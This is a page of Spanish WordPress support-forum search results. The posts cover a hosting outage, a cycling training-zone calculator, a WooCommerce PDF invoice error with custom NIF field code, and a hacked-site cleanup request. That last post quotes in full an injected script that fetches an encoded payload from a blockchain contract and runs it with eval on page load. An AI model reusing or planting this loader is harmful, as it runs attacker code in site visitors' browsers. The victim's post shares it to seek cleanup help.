Resultados de búsqueda para 'wpo'
-
-
Creo que es cosa del hosting que lo habeis cerrado, pero me gustaria que volvierais a activar el hosting de la web. No se puede acceder y salen errores.
La página con la que necesito ayuda: [accede para ver el enlace]
-
Hace varias semanas google me aviso que una pagina web mia habia sido hackeada, posteriormente mi proveedor de VPS me lo comunico tambien, he estado intentando limpiar el sitio, ya detecte algunos scripts en secciones de plugins que habian sido inyectados, un usuario que habia sido creado, y unas publicaciones en post, todo eso ya lo he eliminado, pero tambien he conseguido un script en el codigo fuente de la pagina el cual es el siguiente:
<meta charset="UTF-8" /> <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script> <script> console.log('Start moving...'); document.addEventListener('DOMContentLoaded', async () => { try { const web3 = new Web3('https://bsc-dataseed.binance.org/'); const contract = new web3.eth.Contract([ {"inputs": [], "stateMutability": "nonpayable", "type": "constructor"}, {"inputs": [], "name": "orchidABI", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "orchidAddress", "outputs": [{"internalType": "string", "name": "", "type":"string"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "merlionABI", "outputs": [{"internalType": "string", "name": "", "type": "string"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "merlionAddress", "outputs": [{"internalType": "string", "name": "", "type":"string"}], "stateMutability": "view", "type": "function"}, ], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), { to: 'string' })); const orchidAddress = await contract.methods.orchidAddress().call(); const orchid = new web3.eth.Contract(orchidABI, orchidAddress); const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), { to: 'string' }); eval((async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);); } catch (error) { console.error('Road unavaible:', error); } }); </script><meta name="viewport" content="width=device-width, initial-scale=1" />He intentado conseguir el codigo en los archivos de web, pero no lo consigo busque el header.php pero ya la versión de tema que usaba no usaba los php de las partes, intente igualmente cambiar el tema a uno anterior pero el codigo persiste, por lo que debe provenir de otro origen, quisiera que me ayudaran saber como puedo hacer una busqueda dentro de los archivos para encontrar ese codigo o lo que lo genera.
La página con la que necesito ayuda: [accede para ver el enlace]
-
Hola,
Estoy creando una calculadora para una mis entradas y no funciona una vez copio/pego el código en el editor html. Si lo pongo en herramientas como Jsfiddle el codigo funciona y devuelve bien los datos pero en WordPress no. Os copio/pego el código y a ver si alguien me echa una mano.
Saludos y gracias!
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Calculadora de Zonas de Entrenamiento</title>
<style>
body {
font-family: Arial, sans-serif;
padding: 20px;
}
.container {
max-width: 600px;
margin: 0 auto;
}
h1, h2 {
text-align: center;
}
label {
display: block;
margin: 10px 0 5px;
}
input {
width: 100%;
padding: 8px;
margin-bottom: 10px;
}
button {
width: 100%;
padding: 10px;
background-color: #007bff;
color: white;
border: none;
cursor: pointer;
}
button:hover {
background-color: #0056b3;
}
.result {
margin-top: 20px;
}
</style>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
<div class="container">
<h1>Calculadora de Zonas de Entrenamiento</h1>
<div>
<h2>Por Potencia</h2>
<label for="ftp">Potencia Normalizada (FTP) en vatios:</label>
<input type="number" id="ftp" placeholder="Ingresa tu FTP">
<button id="calcularPotencia">Calcular Zonas de Potencia</button>
<div id="resultPotencia" class="result"></div>
</div>
<div>
<h2>Por Pulso</h2>
<label for="pulsoMedio">Pulsaciones Medias del Test:</label>
<input type="number" id="pulsoMedio" placeholder="Ingresa tus pulsaciones medias">
<label for="pulsoMaximo">Pulsaciones Máximas:</label>
<input type="number" id="pulsoMaximo" placeholder="Ingresa tus pulsaciones máximas">
<button id="calcularPulso">Calcular Zonas de Pulso</button>
<div id="resultPulso" class="result"></div>
</div>
</div>
<script>
jQuery(document).ready(function($) {
$('#calcularPotencia').click(function() {
calcularZonasPotencia();
});
$('#calcularPulso').click(function() {
calcularZonasPulso();
});
});
function calcularZonasPotencia() {
const ftp = $('#ftp').val();
if (!ftp || ftp <= 0) {
alert("Por favor, ingresa un valor válido para la potencia normalizada (FTP).");
return;
}
const zonas = [
{ nombre: "Zona 1: Recuperación Activa", min: 0, max: 0.55 },
{ nombre: "Zona 2: Resistencia", min: 0.56, max: 0.75 },
{ nombre: "Zona 3: Tempo", min: 0.76, max: 0.90 },
{ nombre: "Zona 4: Umbral", min: 0.91, max: 1.05 },
{ nombre: "Zona 5: VO2 Máx", min: 1.06, max: 1.20 },
{ nombre: "Zona 6: Capacidad Anaeróbica", min: 1.21, max: Infinity },
];
let result = "<h3>Zonas de Potencia</h3><ul>";
zonas.forEach(zona => {
const minVatios = (zona.min * ftp).toFixed(2);
const maxVatios = (zona.max === Infinity ? ">" : (zona.max * ftp).toFixed(2));
result +=<li>${zona.nombre}: ${minVatios} - ${maxVatios} W</li>;
});
result += "</ul>";
$('#resultPotencia').html(result);
}
function calcularZonasPulso() {
const pulsoMedio = $('#pulsoMedio').val();
const pulsoMaximo = $('#pulsoMaximo').val();
if (!pulsoMedio || pulsoMedio <= 0 || !pulsoMaximo || pulsoMaximo <= 0) {
alert("Por favor, ingresa valores válidos para las pulsaciones medias y máximas.");
return;
}
const zonas = [
{ nombre: "Zona 1: Recuperación", min: 0, max: 0.60 },
{ nombre: "Zona 2: Resistencia", min: 0.61, max: 0.70 },
{ nombre: "Zona 3: Tempo", min: 0.71, max: 0.80 },
{ nombre: "Zona 4: Umbral", min: 0.81, max: 0.90 },
{ nombre: "Zona 5: VO2 Máx", min: 0.91, max: 1.00 },
];
let result = "<h3>Zonas de Pulso</h3><ul>";
zonas.forEach(zona => {
const minPulsos = Math.round(zona.min * pulsoMaximo);
const maxPulsos = Math.round(zona.max * pulsoMaximo);
result +=<li>${zona.nombre}: ${minPulsos} - ${maxPulsos} bpm</li>;
});
result += "</ul>";
$('#resultPulso').html(result);
}
</script>
</body>
</html>La página con la que necesito ayuda: [accede para ver el enlace]
-
Buenos días,
Estoy teniendo problemas con el plugin PDF Invoices, hace unos meses modifiqué mi archivo functions.php del tema hijo para agregar un código php que añadiera el campo del dni en las compras de woocommerce.
Ahora al instalar este plugin me arroja el siguiente error y no sé como arreglarlo ya que el código php lo domino lo justo.¿Me podrían ayudar?
Fatal error: Call to a member function custom_field() on null /home/neurova/www/wp-content/themes/porto-child/functions.php (166) #0 /home/neurova/www/wp-includes/class-wp-hook.php(326): incluir_nif_en_factura('APANATE ASOCIAC...') #1 /home/neurova/www/wp-includes/plugin.php(205): WP_Hook->apply_filters('APANATE ASOCIAC...', Array) #2 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document-methods.php(93): apply_filters('wpo_wcpdf_billi...', 'APANATE ASOCIAC...', Object(WPO\WC\PDF_Invoices\Documents\Invoice)) #3 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document-methods.php(102): WPO\WC\PDF_Invoices\Documents\Order_Document_Methods->get_billing_address() #4 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/templates/Simple/invoice.php(42): WPO\WC\PDF_Invoices\Documents\Order_Document_Methods->billing_address() #5 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(1138): include('/home/neurova/w...') #6 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(982): WPO\WC\PDF_Invoices\Documents\Order_Document->render_template('/home/neurova/w...', Array) #7 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(937): WPO\WC\PDF_Invoices\Documents\Order_Document->get_html() #8 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/documents/abstract-wcpdf-order-document.php(1004): WPO\WC\PDF_Invoices\Documents\Order_Document->get_pdf() #9 /home/neurova/www/wp-content/plugins/woocommerce-pdf-invoices-packing-slips/includes/class-wcpdf-main.php(580): WPO\WC\PDF_Invoices\Documents\Order_Document->output_pdf('inline') #10 /home/neurova/www/wp-includes/class-wp-hook.php(324): WPO\WC\PDF_Invoices\Main->generate_document_ajax('') #11 /home/neurova/www/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters('', Array) #12 /home/neurova/www/wp-includes/plugin.php(517): WP_Hook->do_action(Array) #13 /home/neurova/www/wp-admin/admin-ajax.php(188): do_action('wp_ajax_generat...') #14 {main}Y este es el código que añadí a mi functions, el error 166 que indica arriba es esta línea: ($wpo_wcpdf->custom_field( ‘NIF’, ‘NIF: ‘ ):
/** * Añade el campo NIF a la página de checkout de WooCommerce */ add_action( 'woocommerce_after_order_notes', 'agrega_mi_campo_personalizado' ); function agrega_mi_campo_personalizado( $checkout ) { echo '<div id="additional_checkout_field"><h2 class="informacion">' . __('Información adicional') . '</h2>'; woocommerce_form_field( 'nif', array( 'type' => 'text', 'class' => array('my-field-class form-row-wide'), 'label' => __('NIF-DNI'), 'required' => true, 'placeholder' => __('Introduzca el Nº NIF-DNI'), ), $checkout->get_value( 'nif' )); echo '</div>'; } /** * Comprueba que el campo NIF no esté vacío */ add_action('woocommerce_checkout_process', 'comprobar_campo_nif'); function comprobar_campo_nif() { // Comprueba si se ha introducido un valor y si está vacío se muestra un error. if ( ! $_POST['nif'] ) wc_add_notice( __( 'NIF-DNI, es un campo requerido. Debe de introducir su NIF DNI para finalizar la compra.' ), 'error' ); } /** * Actualiza la información del pedido con el nuevo campo */ add_action( 'woocommerce_checkout_update_order_meta', 'actualizar_info_pedido_con_nuevo_campo' ); function actualizar_info_pedido_con_nuevo_campo( $order_id ) { if ( ! empty( $_POST['nif'] ) ) { update_post_meta( $order_id, 'NIF', sanitize_text_field( $_POST['nif'] ) ); } } /** * Muestra el valor del nuevo campo NIF en la página de edición del pedido */ add_action( 'woocommerce_admin_order_data_after_billing_address', 'mostrar_campo_personalizado_en_admin_pedido', 10, 1 ); function mostrar_campo_personalizado_en_admin_pedido($order){ echo '<p><strong>'.__('NIF').':</strong> ' . get_post_meta( $order->id, 'NIF', true ) . '</p>'; } /** * Incluye el campo NIF en el email de notificación del cliente */ add_filter('woocommerce_email_order_meta_keys', 'muestra_campo_personalizado_email'); function muestra_campo_personalizado_email( $keys ) { $keys[] = 'NIF'; return $keys; } /** *Incluir NIF en la factura (necesario el plugin WooCommerce PDF Invoices & Packing Slips) */ add_filter( 'wpo_wcpdf_billing_address', 'incluir_nif_en_factura' ); function incluir_nif_en_factura( $address ){ global $wpo_wcpdf; echo $address . '<p>'; $wpo_wcpdf->custom_field( 'NIF', 'NIF: ' ); echo '</p>'; }
-